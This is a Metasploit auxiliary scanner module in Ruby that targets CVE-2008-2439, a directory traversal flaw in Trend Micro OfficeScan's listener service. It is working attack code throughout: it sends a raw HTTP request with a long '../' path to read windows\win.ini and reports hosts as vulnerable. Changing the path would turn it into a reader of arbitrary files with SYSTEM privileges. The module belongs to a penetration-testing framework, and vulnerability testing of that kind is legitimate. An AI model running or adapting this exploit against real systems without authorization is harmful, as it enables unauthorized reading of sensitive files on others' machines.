TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access',
      'Description' => %q{
          This module tests for directory traversal vulnerability in the UpdateAgent
        function in the OfficeScanNT Listener (TmListen.exe) service in Trend Micro
        OfficeScan. This allows remote attackers to read arbitrary files as SYSTEM
        via dot dot sequences in an HTTP request.
      },
      'References'  =>
        [
          [ 'OSVDB', '48730' ],
          [ 'CVE', '2008-2439' ],
          [ 'BID', '31531' ],
          [ 'URL', 'http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt' ],
        ],
      'Author'      => [ 'Anshul Pandey <anshul999[at]gmail.com>', 'aushack' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(26122),
      ])
  end

  def run_host(target_host)

    res = send_request_raw(
      {
        'uri'     => '/activeupdate/../../../../../../../../../../../windows\\win.ini',
        'method'  => 'GET',
      }, 20)

    if not res
      print_error("No response from server")
      return
    end

    http_fingerprint({ :response => res })

    if (res.code >= 200)
      if (res.body =~ /for 16-bit app support/)
        vuln = "vulnerable."
      else
        vuln = "not vulnerable."
      end
      if (res.headers['Server'])
        print_status("http://#{target_host}:#{rport} is running #{res.headers['Server']} and is #{vuln}")
      end
    end
  end
end